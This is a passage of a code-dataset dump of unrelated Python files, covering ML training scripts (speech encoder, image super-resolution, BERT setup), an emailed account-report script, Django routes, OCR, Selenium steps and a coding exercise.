self.slist:\r\n text = text + i + \"\\n\"\r\n result = DocumentStreamError.existFileName(filename)\r\n if result == \"Pass\":\r\n file = open(\"out\" + filename,\"w\")\r\n file.write(text)\r\n file.close()\r\n\r\n def parsetitleauthor(self,filename):\r\n '''\r\n analyze and parse the name of the author and the book out\r\n input the filename\r\n out put a list [Bookname, authorname]\r\n '''\r\n info = self.firstline\r\n info.strip('The Project Gutenberg EBook of ')\r\n firstbooksecondauthor = info.split(',')\r\n return firstbooksecondauthor\r\n\r\n def getauthor(self, filename):\r\n #slice and return the proper author\r\n return self.parsetitleauthor(filename)[1][4:-1]\r\n","sub_path":"DocumentStream.py","file_name":"DocumentStream.py","file_ext":"py","file_size_in_byte":2868,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"301168372","text":"'''@file listenerFF.py\ncontains the ListenerFF class'''\n\nimport tensorflow as tf\nimport encoder\nfrom nabu.neuralnetworks.classifiers import layer\nfrom nabu.neuralnetworks.ops import pyramid_stack\n\n\nclass ListenerFF(encoder.Encoder):\n '''a feedforward listener object\n\n transforms input features into a high level representation'''\n\n def __init__(self, conf, name=None):\n '''ListenerFF constructor\n\n Args:\n conf: the config file\n '''\n\n hidden_dim = int(conf['hidden_numunits'])\n out_dim = int(conf['out_numunits'])\n window = int(conf['frame_window'])\n\n #create the feedforward layers\n self.hidden_layer = layer.LinearExtended(hidden_dim, window)\n self.outlayer = layer.BLSTMLayer(out_dim)\n\n super(ListenerFF, self).__init__(conf, name)\n\n def encode(self, inputs, sequence_lengths, is_training=False):\n '''\n get the high level feature representation\n\n Args:\n inputs: the input to the layer as a\n [batch_size, max_length, dim] tensor\n sequence_length: the length of the input sequences\n is_training: whether or not the network is in training mode\n\n Returns:\n the output of the layer as a [bath_size, max_length, output_dim]\n tensor\n '''\n\n outputs = inputs\n output_seq_lengths = sequence_lengths\n\n with tf.variable_scope('inlayer'):\n #apply the linear layer\n outputs = self.hidden_layer(outputs)\n\n #apply the nonlinearity\n outputs = tf.nn.relu(outputs)\n\n if float(self.conf['listener_dropout']) < 1 and is_training:\n outputs = tf.nn.dropout(\n outputs, float(self.conf['listener_dropout']))\n\n\n for l in range(int(self.conf['listener_numlayers'])):\n\n with tf.variable_scope('layer%d' % l):\n #apply the linear layer\n hidden = self.hidden_layer(outputs)\n\n #apply the nonlinearity\n outputs = (tf.nn.relu(hidden) + outputs)/2\n\n if float(self.conf['listener_dropout']) < 1 and is_training:\n outputs = tf.nn.dropout(\n outputs, float(self.conf['listener_dropout']))\n\n\n #apply the pyramid stack\n outputs, output_seq_lengths = pyramid_stack(outputs,\n output_seq_lengths)\n\n\n outputs = self.outlayer(outputs, output_seq_lengths)\n\n if float(self.conf['listener_dropout']) < 1 and is_training:\n outputs = tf.nn.dropout(outputs,\n float(self.conf['listener_dropout']))\n\n return outputs\n","sub_path":"nabu/neuralnetworks/classifiers/asr/encoders/listenerFF.py","file_name":"listenerFF.py","file_ext":"py","file_size_in_byte":2768,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"179871507","text":"from datetime import datetime as dt\nimport smtplib\nimport ssl\nimport os\nfrom email import encoders\nfrom email.mime.text import MIMEText\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.base import MIMEBase\n\nimport pandas as pd\nimport psycopg2\n\n\ndef load_connection(\n user_str='DB_USER',\n pwd_str='DB_PW',\n db_str='DB_NAME',\n host_str='DB_HOST'\n):\n user = os.environ.get(user_str)\n pwd = os.environ.get(pwd_str)\n db = os.environ.get(db_str)\n host = os.environ.get(host_str)\n return psycopg2.connect(database=db, user=user, password=pwd, host=host)\n\n\ndef find_accounts_created(sql, min_date=None, max_date=None):\n '''logic to find the number of accounts created based on sql'''\n conn = load_connection()\n df = pd.read_sql(sql, conn)\n\n if min_date and max_date:\n df = df[(df['landing_datetime'] < max_date) & (\n df['landing_datetime'] >= min_date)]\n\n df = df[~(\n df['last_ns'].notnull() & df['created'].isnull())]\n\n df['created_at'] = pd.to_datetime(df['created_at'], utc=True)\n\n df_accounts_created = df[df['last_ns'].notnull() & (\n df['created_at'] > df['landing_datetime'])]\n\n df_grouped_by_week = df_accounts_created.set_index(\n 'landing_datetime').groupby(\n pd.Grouper(freq='W-Sun', label='left'))['last_ns'].count()\n\n df_grouped_by_week.index += pd.Timedelta(days=1)\n\n return df_grouped_by_week\n\n\ndef create_email_message(fromaddr, toaddr, subj, message):\n msg = MIMEMultipart()\n msg['From'] = fromaddr\n if len(toaddr) > 1:\n msg['To'] = ', '.join(toaddr)\n else:\n msg['To'] = toaddr[0]\n msg['Subject'] = subj\n msg.attach(MIMEText(message, 'plain'))\n\n return msg\n\n\ndef send_email(\n message,\n fname,\n fname_base,\n username,\n email_app_pw=os.environ['EMAIL_PW'],\n context=ssl.create_default_context()\n):\n with smtplib.SMTP_SSL(\"smtp.gmail.com\", 465, context=context) as server:\n server.login(username, email_app_pw)\n attach = open(fname, 'rb')\n part = MIMEBase('application', 'octet-stream')\n part.set_payload(attach.read())\n encoders.encode_base64(part)\n part.add_header(\n 'Content-Disposition', \"attachment; filename= %s\" % fname_base)\n message.attach(part)\n server.send_message(message)\n\n\ndef load_data_and_send_email(sql, path, fromaddr, toaddr, subject):\n ''' sql: used to generate data (sql str);\n path: full path name where data is stored (str);\n fromaddr: email address of sender (str);\n toaddr: email address(es) of recipients (str or list of str);\n subject: email subject line (str)\n '''\n # will be used to generate fname\n today = dt.now().date()\n base_path = os.path.basename(path)\n\n # generate csv of number of accounts created and save to path\n # for record keeping\n df_summary = find_accounts_created(sql=sql)\n df_summary.to_csv(path.format(today))\n\n # generate email message\n email_message = create_email_message(\n fromaddr=fromaddr,\n toaddr=toaddr,\n subj=subject.format(today),\n message='Have a great week!'\n )\n\n # send it!\n send_email(message=email_message,\n fname=path.format(today),\n fname_base=base_path.format(today),\n username=fromaddr)\n","sub_path":"Code - AdHoc Requests/pre-2020/AdHoc/Scripts/JoinNowEmail/join_now_src.py","file_name":"join_now_src.py","file_ext":"py","file_size_in_byte":3366,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"570292550","text":"from django.urls import path\n\nfrom ..v1 import views\n\nurlpatterns = [\n path(r'article/', views.ArticleAPIView.as_view(), name=\"article-list\"),\n path(r'quizzes/', views.QuizzesAPIView.as_view(), name=\"quizzes-list\"),\n path(r'tasks/', views.TasksAPIView.as_view(), name=\"tasks-list\"),\n\n]\n","sub_path":"src/learnings/api/v1/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":295,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"65254185","text":"# -*- coding:utf-8 -*- \n__author__ = 'John 2018/3/2 17:31'\n\n\"\"\"\n设计一个算法,找出只含素因子2,3,5 的第 n 小的数。\n\n符合条件的数如:1, 2, 3, 4, 5, 6, 8, 9, 10, 12...\n样例\n如果n = 9, 返回 10\n\"\"\"\n\n\nclass Solution:\n \"\"\"\n @param n: An integer\n @return: the nth prime number as description.\n \"\"\"\n\n def nthUglyNumber(self, n):\n # write your code here\n result = 0\n while n > 0:\n result += 1\n if self.IsUgly(result):\n n -= 1\n return result\n\n def IsUgly(self, n):\n while n % 2 == 0:\n n = n / 2\n while n % 3 == 0:\n n = n / 3\n while n % 5 == 0:\n n = n / 5\n if n == 1:\n return True\n\n\nS = Solution()\nprint(S.nthUglyNumber(599))\n","sub_path":"lintcode/4.py","file_name":"4.py","file_ext":"py","file_size_in_byte":809,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"589691650","text":"## Python code to identify words after they have been segmented\n## Run this code only after you have excecuted \"word_segment.py\" and got a proper result\n## After excecuting this code, the OCR output will appear in a file called \"paragraph.txt\"\n\n## This is the threshold value. Keep this somewhere between 100 and 200\n## Use lesser value for darker text and greater values for lighter text\n## Try modifying this value if you get a runtime error \n## or lot of misplaced 1's or punctuation marks\nthresh = 150;\n\n## Keep between 0 and 1\n## Reduce if letters are missing\n## Increase if you get extra wrong characters between correct characters\naccMin = 0.3;\n\n## Do NOT modify any of this\nimport keras\nimport sys\npwd = sys.path[0]\nfrom time import time\nimport getWord\nfrom loadingRoutines import loadCNNs\nimport numpy as np\nimport cv2 as cv\nimport os\nimport fnmatch\nimport codecs\n\ndef output(filepath,text):\n\twith codecs.open(filepath,\"w+\",\"utf-16\") as file:\n\t\tfile.write(text)\n\t\t\nmainCNN,vattCNN = loadCNNs()\ndir = \"%s/WordSegmentResult\" % pwd\nallFiles = os.listdir(dir)\nlines = list()\nprefix = \"*.png\"\nsomeFiles = fnmatch.filter(allFiles,prefix)\n\nfor file in someFiles:\n\tpath = \"%s/%s\" % (dir,file)\n\tprint(file)\n\timg = cv.imread(path,cv.IMREAD_GRAYSCALE)\n\tw,h = img.shape[::-1]\n\tif h <= 5 or w <= 5:\n\t\tcontinue\n\tbase = int(file[-7:-4])\n\tword = getWord.getWord(img,mainCNN,vattCNN,base=None,thresh=thresh,accMin=accMin)\n\tlines.append(word)\nspace = '\\x20'\ntext = space.join(lines)\n\nfile = \"%s/paragraph.txt\" % pwd\noutput(file,text)\n\nprint(\"Identification done. Your output is stored in the file \\\"paragraph.txt\\\"\")\n\n\n\n","sub_path":"FINAL_VERSION/paragraph.py","file_name":"paragraph.py","file_ext":"py","file_size_in_byte":1611,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"408460100","text":"import torch\nimport torch.nn as nn\nimport os\nfrom torchvision import transforms\nfrom torchvision.utils import save_image, make_grid\nfrom model import SRMD\nimport numpy as np\nfrom data_loader import Scaling, Scaling01, ImageFolder, random_downscale\nfrom utils import Kernels, load_kernels\nfrom PIL import Image,ImageDraw\n\n\ntorch.set_default_tensor_type(torch.DoubleTensor)\n\n\nclass Solver(object):\n def __init__(self, data_loader, config):\n # Data loader\n self.data_loader = data_loader\n\n # Model hyper-parameters\n self.num_blocks = config.num_blocks # num_blocks = 11\n self.num_channels = config.num_channels # num_channels = 6\n self.conv_dim = config.conv_dim # conv_dim = 128\n self.scale_factor = config.scale_factor # scale_factor = 2\n\n # Training settings\n self.total_step = config.total_step # 50000\n self.lr = config.lr \n self.beta1 = config.beta1 # 0.5 ????????????????? testar 0.9 ou 0.001\n self.beta2 = config.beta2 # 0.99 ???????????????\n self.trained_model = config.trained_model\n self.use_tensorboard = config.use_tensorboard\n self.start_step = -1\n \n #Test settings\n self.test_mode = config.test_mode\n self.test_image_path = config.test_image_path\n self.evaluation_step = config.evaluation_step\n self.evaluation_size = config.evaluation_size\n \n # Path and step size\n self.log_path = config.log_path\n self.result_path = config.result_path\n self.model_save_path = config.model_save_path\n self.log_step = config.log_step # log_step = 10\n self.sample_step = config.sample_step # sample_step = 100\n self.model_save_step = config.model_save_step # model_save_step = 1000\n\n # Device configuration\n self.device = config.device\n\n # Initialize model\n self.build_model() \n \n if self.use_tensorboard:\n self.build_tensorboard()\n\n # Start with trained model\n if self.trained_model:\n self.load_trained_model()\n\n def build_model(self):\n # model and optimizer\n self.model = SRMD(self.num_blocks, self.num_channels, self.conv_dim, self.scale_factor)\n self.optimizer = torch.optim.Adam(self.model.parameters(), self.lr, [self.beta1, self.beta2])\n\n self.model.to(self.device)\n\n def load_trained_model(self):\n self.load(os.path.join(self.model_save_path, '{}'.format(self.trained_model)))\n print('loaded trained model (step: {})..!'.format(self.trained_model.split('.')[0])) \n\n def load(self, filename):\n S = torch.load(filename)\n self.model.load_state_dict(S['SR'])\n try:\n self.optimizer.load_state_dict(S['optimizer_state_dict'])\n except KeyError as error:\n print('There is no '+str(error)+' in loaded model. Loading model without optimizer_params')\n try:\n self.start_step = S['epoch'] - 1\n except KeyError as error:\n print('There is no '+str(error)+' in loaded model. Loading model without epoch info')\n \n #############################################\n def build_tensorboard(self):\n pass\n ######################################################\n def update_lr(self, lr):\n for param_group in self.optimizer.param_groups:\n param_group['lr'] = lr\n\n def reset_grad(self):\n self.optimizer.zero_grad()\n ######################################################################\n def detach(self, x): # NOT USED. To learn more SEE https://pytorch.org/blog/pytorch-0_4_0-migration-guide/\n return x.data\n #############################################################\n \n \n def get_trio_images(self, lr_image,hr_image, reconst):\n tmp1 = lr_image.data.cpu().numpy().transpose(0,2,3,1)*255\n image_list = [np.array(Image.fromarray(tmp1.astype(np.uint8)[i]).resize((128,128), Image.BICUBIC)) for i in range(self.data_loader.batch_size)]\n image_hr_bicubic= np.stack(image_list)\n image_hr_bicubic_single = np.squeeze(image_hr_bicubic)\n print('hr_bicubic_single:', image_hr_bicubic_single.shape)\n #return this ^\n image_hr_bicubic = image_hr_bicubic.transpose(0,3,1,2)\n image_hr_bicubic = Scaling(image_hr_bicubic)\n image_hr_bicubic = torch.from_numpy(image_hr_bicubic).double().to(self.device) # NUMPY to TORCH\n hr_image_hat = reconst + image_hr_bicubic\n hr_image_hat = hr_image_hat.data.cpu().numpy()\n hr_image_hat = Scaling01(hr_image_hat)\n hr_image_hat = np.squeeze(hr_image_hat).transpose((1, 2, 0))\n hr_image_hat = (hr_image_hat*255).astype(np.uint8)\n print('hr_image_hat : ', hr_image_hat.shape)\n #return this ^\n hr_image = hr_image.data.cpu().numpy().transpose(0,2,3,1)*255\n hr_image = np.squeeze(hr_image.astype(np.uint8))\n #return this ^\n return Image.fromarray(image_hr_bicubic_single), Image.fromarray(hr_image_hat), Image.fromarray(hr_image)\n\n def create_grid(self, lr_image,hr_image, reconst):\n 'generate grid image: LR Image | HR image Hat (from model) | HR image (original)'\n 'lr_image = lr_image tensor from dataloader (can be batch)'\n 'hr_image = hr_image tensor from dataloader (can be batch)'\n 'reconst = output of model (HR residual)'\n tmp1 = lr_image.data.cpu().numpy().transpose(0,2,3,1)*255\n image_list = [np.array(Image.fromarray(tmp1.astype(np.uint8)[i]).resize((128,128), Image.BICUBIC)) for i in range(self.data_loader.batch_size)]\n image_hr_bicubic= np.stack(image_list).transpose(0,3,1,2)\n image_hr_bicubic = Scaling(image_hr_bicubic)\n image_hr_bicubic = torch.from_numpy(image_hr_bicubic).double().to(self.device) # NUMPY to TORCH\n hr_image_hat = reconst + image_hr_bicubic\n \n hr_image_hat = hr_image_hat.data.cpu().numpy()\n hr_image_hat = Scaling01(hr_image_hat)\n hr_image_hat = torch.from_numpy(hr_image_hat).double().to(self.device) # NUMPY to TORCH\n\n pairs = torch.cat((image_hr_bicubic.data, \\\n hr_image_hat.data,\\\n hr_image.data), dim=3)\n grid = make_grid(pairs, 1) \n tmp = np.squeeze(grid.cpu().numpy().transpose((1, 2, 0)))\n grid = (255 * tmp).astype(np.uint8)\n return grid\n \n def img_add_info(self, img_paths, img, epoch, loss):\n 'receives tensor as img'\n added_text = Image.new('RGB', (500, img.shape[0]), color = 'white')\n d = ImageDraw.Draw(added_text)\n d.text((10,10), \"model trained for {} epochs, loss (comparing residuals): {:.4f}\".format(epoch, loss.item()) + \\\n \"\\n\" + '\\n'.join([os.path.basename(path) for path in img_paths]), fill='black')\n imgs_comb = np.hstack((np.array(img), added_text))\n \n d.text((10,10), \"model trained for {} epochs, loss (comparing residuals): {:.4f}\".format(epoch, loss.item()), fill='black')\n \n imgs_comb = Image.fromarray(imgs_comb)\n return imgs_comb \n \n def train(self):\n self.model.train()\n\n # Reconst loss\n reconst_loss = nn.MSELoss()\n\n # Data iter\n data_iter = iter(self.data_loader)\n iter_per_epoch = len(self.data_loader)\n \n #Initialize steps\n start = self.start_step + 1 # if not loading trained start = 0 \n\n for step in range(self.start_step, self.total_step):\n \n self.model.train() # adicionei pq o cara no fim (p/ samples) colocou modo eval() e esqueceu de voltar\n\n # Reset data_iter for each epoch \n if (step+1) % iter_per_epoch == 0: \n data_iter = iter(self.data_loader) \n\n img_paths, lr_image, hr_image, x, y = next(data_iter)\n lr_image, hr_image, x, y = lr_image.to(self.device), hr_image.to(self.device), x.to(self.device), y.to(self.device)\n\n y = y.to(torch.float64)\n\n out = self.model(x)\n loss = reconst_loss(out, y)\n\n self.reset_grad()\n\n # For decoder\n loss.backward(retain_graph=True)\n\n self.optimizer.step()\n\n # Print out log info\n if (step+1) % self.log_step == 0:\n print(\"[{}/{}] loss: {:.5f}\".format(step+1, self.total_step, loss.item()))\n\n # Sample images\n\n if (step+1) % self.sample_step == 0:\n self.model.eval()\n reconst = self.model(x)\n tmp = self.create_grid(lr_image,hr_image, reconst)\n imgs_comb = self.img_add_info(tmp, step+1, loss) \n #from IPython.display import display\n grid_PIL = imgs_comb\n grid_PIL.save('./samples/test_{}.jpg'.format(step + 1))\n if self.data_loader.batch_size == 1: #only saves separate images if batch == 1\n lr_image_np = lr_image.data.cpu().numpy().transpose(0,2,3,1)*255\n lr_image_np = Image.fromarray(np.squeeze(lr_image_np).astype(np.uint8))\n hr_bic, hr_hat, hr = self.get_trio_images(lr_image,hr_image, reconst)\n random_number = np.random.rand(1)[0]\n lr_image_np.save('./samples/test_{}_lr.png'.format(step + 1))\n hr_bic.save('./samples/test_{}_hr_bic.png'.format(step + 1))\n hr_hat.save('./samples/test_{}_hr_hat.png'.format(step + 1))\n hr.save('./samples/test_{}_hr.png'.format(step + 1))\n\n # Save check points\n if (step+1) % self.model_save_step == 0: \n self.save(step+1, loss.item(), os.path.join(self.model_save_path, '{}.pth.tar'.format(str(step+1))))\n\n def save(self, step, current_loss, filename):\n model = self.model.state_dict()\n torch.save({\n 'epoch': step+1,\n 'SR': self.model.state_dict(),\n 'optimizer_state_dict': self.optimizer.state_dict(),\n 'loss': str(current_loss)\n }, filename)\n\n def test_and_error(self): #receives batch from dataloader\n 'You run it for a random batch from test_set. You can change batch_size for len(test_set)'\n self.model.eval()\n epoch = self.start_step + 1 # if not loading trained start = 0 \n # Reconst loss\n reconst_loss = nn.MSELoss()\n\n # Data iter\n data_iter = iter(self.data_loader)\n img_paths, lr_image, hr_image, x, y = next(data_iter)\n lr_image, hr_image, x, y = lr_image.to(self.device), hr_image.to(self.device), x.to(self.device), y.to(self.device)\n\n y = y.to(torch.float64)\n\n reconst = self.model(x)\n loss = reconst_loss(reconst, y)\n\n # Print out log info \n print(\"model trained for {} epochs, loss: {:.4f}\".format(self.start_step, loss.item()))\n \n tmp = self.create_grid(lr_image, hr_image, reconst)\n grid_PIL = self.img_add_info(img_paths, tmp, epoch, loss)\n random_number = np.random.rand(1)[0]\n if self.data_loader.batch_size > 1:\n grid_PIL.save('./test_results/{:.3f}_grid_{}.png'.format(random_number, self.start_step + 1))\n \n elif self.data_loader.batch_size == 1: #only saves separate images if batch == 1\n grid_PIL.save('./results/grids/'+ os.path.basename(img_paths[0])+'_grid_{}.png'.format(self.start_step + 1))\n hr_bic, hr_hat, hr = self.get_trio_images(lr_image,hr_image, reconst)\n\n lr_image_np = lr_image.data.cpu().numpy().transpose(0,2,3,1)*255\n lr_image_np = Image.fromarray(np.squeeze(lr_image_np).astype(np.uint8))\n\n lr_image_np.save('./results/LR_images_snapshot/'+ os.path.basename(img_paths[0])+'_lr_{}.png'.format(self.start_step + 1))\n hr_bic.save('./results/HR_bicub_images/'+ os.path.basename(img_paths[0])+'_hr_bic_{}.png'.format(self.start_step + 1))\n hr_hat.save('./results/HR_HAT_images/'+ os.path.basename(img_paths[0])+'_hr_hat_{}.png'.format(self.start_step + 1))\n hr.save('./results/HR_images/'+ os.path.basename(img_paths[0])+'_hr_{}.png'.format(self.start_step + 1))\n\n def evaluate(self):\n if self.evaluation_size == -1:\n self.evaluation_size = len(self.data_loader)\n \n if self.data_loader.batch_size != 1:\n print('WAIT! PASS --batch_size = 1 to do this. Your batch_size is not 1')\n pass\n for step in range(self.evaluation_size):\n if (step+1) % self.evaluation_step == 0:\n [print() for i in range(10)]\n print(\"[{}/{}] tests\".format(step+1, len(self.data_loader)))\n [print() for i in range(10)]\n self.model.eval() \n self.test_and_error();\n \n def test(self): #receives single image --> can be easily modified to handle multiple images\n 'Takes single LR image as input. Returns LR image + (models approx) HR image concatenated'\n 'image location must be given by flag --test_image_path'\n self.model.eval()\n step = self.start_step + 1 # if not loading trained start = 0 \n lr_image = Image.open(self.test_image_path)\n lr_image_size = lr_image.size[0]\n #CONSIDER RGB IMAGE\n \n from utils import Kernels, load_kernels\n K, P = load_kernels(file_path='kernels/', scale_factor=2)\n randkern = Kernels(K, P)\n\n # get LR_RESIDUAL --> [-1,1]\n transform_to_vlr = transforms.Compose([\n transforms.Lambda(lambda x: randkern.RandomBlur(x)), #random blur\n transforms.Lambda(lambda x: random_downscale(x,self.scale_factor)), #random downscale\n transforms.Resize((lr_image_size, lr_image_size), Image.BICUBIC) #upscale pro tamanho LR\n ])\n lr_image_hat = transform_to_vlr(lr_image)\n lr_residual = np.array(lr_image).astype(np.float32) - np.array(lr_image_hat).astype(np.float32)\n lr_residual_scaled = Scaling(lr_residual)\n\n # LR_image_scaled + LR_residual_scaled (CONCAT) ---> TO TORCH\n\n #lr_image_with_kernel = self.randkern.ConcatDegraInfo(lr_image_scaled)\n #lr_image_with_resid = np.concatenate((lr_image_with_kernel, lr_residual_scaled), axis=-1)\n lr_image_scaled = Scaling(lr_image)\n lr_image_with_resid = np.concatenate((lr_image_scaled, lr_residual_scaled), axis=-1)\n lr_image_with_resid = torch.from_numpy(lr_image_with_resid).float().to(self.device) # NUMPY to TORCH\n\n # LR_image to torch\n\n lr_image_scaled = torch.from_numpy(lr_image_scaled).float().to(self.device) # NUMPY to TORCH\n\n #Transpose - Permute since for model we need input with channels first\n lr_image_scaled = lr_image_scaled.permute(2,0,1) \n lr_image_with_resid = lr_image_with_resid.permute(2,0,1)\n\n lr_image_with_resid = lr_image_with_resid.unsqueeze(0) #just add one dimension (index on batch)\n lr_image_scaled = lr_image_scaled.unsqueeze(0)\n\n lr_image, x = lr_image_scaled.to(torch.float64), lr_image_with_resid.to(torch.float64) \n lr_image, x = lr_image.to(self.device), x.to(self.device)\n\n x = x.to(torch.float64)\n\n reconst = self.model(x)\n\n tmp1 = lr_image.data.cpu().numpy().transpose(0,2,3,1)*255\n image_list = [np.array(Image.fromarray(tmp1.astype(np.uint8)[i]).resize((128,128), Image.BICUBIC)) \\\n for i in range(self.data_loader.batch_size)]\n image_hr_bicubic= np.stack(image_list)\n image_hr_bicubic_single = np.squeeze(image_hr_bicubic)\n #return this ^\n image_hr_bicubic = image_hr_bicubic.transpose(0,3,1,2)\n image_hr_bicubic = Scaling(image_hr_bicubic)\n image_hr_bicubic = torch.from_numpy(image_hr_bicubic).double().to(self.device) # NUMPY to TORCH\n hr_image_hat = reconst + image_hr_bicubic\n hr_image_hat_np = hr_image_hat.data.cpu().numpy()\n hr_image_hat_np_scaled = Scaling01(hr_image_hat_np)\n hr_image_hat_np_scaled = np.squeeze(hr_image_hat_np_scaled).transpose((1, 2, 0))\n hr_image_hat_np_png = (hr_image_hat_np_scaled*255).astype(np.uint8)\n #return this ^\n\n #Saving Image Bicubic and HR Image Hat\n Image.fromarray(image_hr_bicubic_single).save('./results/HR_bicub_images/'+ os.path.basename(self.test_image_path)+'_hr_bic_{}.png'.format(step))\n Image.fromarray(hr_image_hat_np_png).save('./results/HR_HAT_images/'+ os.path.basename(self.test_image_path)+'_hr_hat_{}.png'.format(step))\n\n #Create Grid\n hr_image_hat_np_scaled = Scaling01(hr_image_hat_np)\n hr_image_hat_torch = torch.from_numpy(hr_image_hat_np_scaled).double().to(self.device) # NUMPY to TORCH\n\n pairs = torch.cat((image_hr_bicubic.data, \\\n hr_image_hat_torch.data), dim=3)\n grid = make_grid(pairs, 1) \n tmp = np.squeeze(grid.cpu().numpy().transpose((1, 2, 0)))\n tmp = (255 * tmp).astype(np.uint8)\n random_number = np.random.rand(1)[0] \n Image.fromarray(tmp).save('./results/grids/'+ os.path.basename(self.test_image_path).split('.')[0]+'_grid_{}.png'.format(step))\n\n \n def many_tests(self):\n import glob\n TYPES = ('*.png', '*.jpg', '*.jpeg', '*.bmp')\n image_paths = []\n root = self.test_image_path\n for ext in TYPES:\n image_paths.extend(glob.glob(os.path.join(root, ext)))\n for img_path in image_paths:\n self.test_image_path = img_path\n self.test()\n\n","sub_path":".ipynb_checkpoints/solver-checkpoint.py","file_name":"solver-checkpoint.py","file_ext":"py","file_size_in_byte":17715,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"427205062","text":"from pages.homepage import Homepage\nfrom selenium.webdriver.common.action_chains import ActionChains\nfrom waiting import wait, TimeoutExpired\nimport logging\nimport allure\n\nLOGGER = logging.getLogger(__name__)\n\n\nclass HomepageActions:\n def __init__(self, app):\n self.app = app\n self.driver = app.driver\n self.hp_actions = Homepage(driver=self.driver)\n\n @allure.step('Expand main menu')\n def expand_main_menu(self):\n LOGGER.info(\"Expand main menu\")\n driver = self.app.driver\n driver.implicitly_wait(180)\n menu_hover = self.hp_actions.catalog_header\n actions = ActionChains(driver)\n actions.move_to_element(menu_hover).perform()\n wait(lambda: self.hp_actions.is_element_present(\"computers_label\"), timeout_seconds=20.0)\n\n @allure.step('Expand 2nd level menu')\n def expand_computers_menu(self):\n LOGGER.info(\"Expand computers menu\")\n driver = self.app.driver\n driver.implicitly_wait(180)\n menu_hover = self.hp_actions.computers_label\n actions = ActionChains(driver)\n actions.move_to_element(menu_hover).perform()\n wait(lambda: self.hp_actions.is_element_present(\"laptops_accessories_label\"), timeout_seconds=20.0)\n\n @allure.step('Expand 3rd level menu')\n def expand_laptops_menu(self):\n LOGGER.info(\"Expand computers menu\")\n driver = self.app.driver\n driver.implicitly_wait(180)\n menu_hover = self.hp_actions.laptops_accessories_label\n actions = ActionChains(driver)\n actions.move_to_element(menu_hover).perform()\n wait(lambda: self.hp_actions.is_element_present(\"laptops_label\"), timeout_seconds=20.0)\n\n @allure.step('Click laptops label')\n def click_laptops(self):\n LOGGER.info(\"Click 'Ноутбуки' menu item\")\n driver = self.app.driver\n driver.implicitly_wait(10)\n actions = ActionChains(driver)\n laptops_label = self.hp_actions.laptops_label\n actions.move_to_element(laptops_label).perform()\n laptops_label.click()\n","sub_path":"steps/homepage_steps.py","file_name":"homepage_steps.py","file_ext":"py","file_size_in_byte":2064,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"634744836","text":"import sys\nimport subprocess\nimport argparse\nimport json\n#subprocess.check_call([sys.executable, '-m', 'pip', 'install', 'tensorflow-gpu==2.2.0-rc2'])\nsubprocess.check_call([sys.executable, '-m', 'pip', 'install', 'bert-for-tf2'])\nsubprocess.check_call([sys.executable, '-m', 'pip', 'install', 'sentencepiece'])\n\nimport tensorflow as tf\nprint(tf.__version__)\n\nimport boto3\nimport pandas as pd\n\nimport os\nimport math\nimport datetime\n\nfrom tqdm import tqdm\n\nimport pandas as pd\nimport numpy as np\n\nimport tensorflow as tf\nfrom tensorflow import keras\nfrom glob import glob \n\nfrom bert.model import BertModelLayer\nfrom bert.loader import StockBertConfig, map_stock_config_to_params, load_stock_weights\nfrom bert.tokenization.bert_tokenization import FullTokenizer\n\nfrom sklearn.metrics import confusion_matrix, classification_report\n\nimport os\n\nos.system('rm uncased_L-12_H-768_A-12.zip')\nos.system('rm -rf uncased_L-12_H-768_A-12')\n\nos.system('wget -q https://storage.googleapis.com/bert_models/2018_10_18/uncased_L-12_H-768_A-12.zip')\n\nimport zipfile\nwith zipfile.ZipFile('uncased_L-12_H-768_A-12.zip', 'r') as zip_ref:\n zip_ref.extractall('.')\n\nos.system('ls -al ./uncased_L-12_H-768_A-12')\n\nbert_ckpt_dir = './uncased_L-12_H-768_A-12'\nbert_ckpt_file = os.path.join(bert_ckpt_dir, \"bert_model.ckpt\")\nbert_config_file = os.path.join(bert_ckpt_dir, \"bert_config.json\")\n\nCLASSES=[1, 2, 3, 4, 5]\nMAX_SEQ_LEN=128\nBATCH_SIZE=8\nEPOCHS=1\nSTEPS_PER_EPOCH=100\n\ndef select_data_and_label_from_record(record):\n x = {\n 'input_ids': record['input_ids'],\n 'input_mask': record['input_mask'],\n 'segment_ids': record['segment_ids']\n }\n y = record['label_ids']\n\n return (x, y)\n\n\ndef file_based_input_dataset_builder(input_file, \n seq_length, \n is_training,\n drop_remainder):\n\n name_to_features = {\n \"input_ids\": tf.io.FixedLenFeature([seq_length], tf.int64),\n \"input_mask\": tf.io.FixedLenFeature([seq_length], tf.int64),\n \"segment_ids\": tf.io.FixedLenFeature([seq_length], tf.int64),\n \"label_ids\": tf.io.FixedLenFeature([], tf.int64),\n \"is_real_example\": tf.io.FixedLenFeature([], tf.int64),\n }\n\n def _decode_record(record, name_to_features):\n \"\"\"Decodes a record to a TensorFlow example.\"\"\"\n example = tf.io.parse_single_example(record, name_to_features)\n\n # tf.Example only supports tf.int64, but the TPU only supports tf.int32.\n # So cast all int64 to int32.\n for name in list(example.keys()):\n t = example[name]\n if t.dtype == tf.int64:\n t = tf.cast(t, tf.int32)\n example[name] = t\n\n return example\n\n# def input_fn(params):\n# \"\"\"The actual input function.\"\"\"\n# batch_size = params[\"batch_size\"]\n\n # For training, we want a lot of parallel reading and shuffling.\n # For eval, we want no shuffling and parallel reading doesn't matter.\n dataset = tf.data.TFRecordDataset(input_file)\n if is_training:\n dataset = dataset.repeat()\n dataset = dataset.shuffle(buffer_size=100)\n\n dataset = dataset.apply(\n tf.data.experimental.map_and_batch(\n lambda record: _decode_record(record, name_to_features),\n batch_size=BATCH_SIZE,\n drop_remainder=drop_remainder))\n\n return dataset\n\ntokenizer = FullTokenizer(vocab_file=os.path.join(bert_ckpt_dir, \"vocab.txt\"))\n\ntokenizer.tokenize(\"I can't wait to visit Bulgaria again!\")\n\ntokens 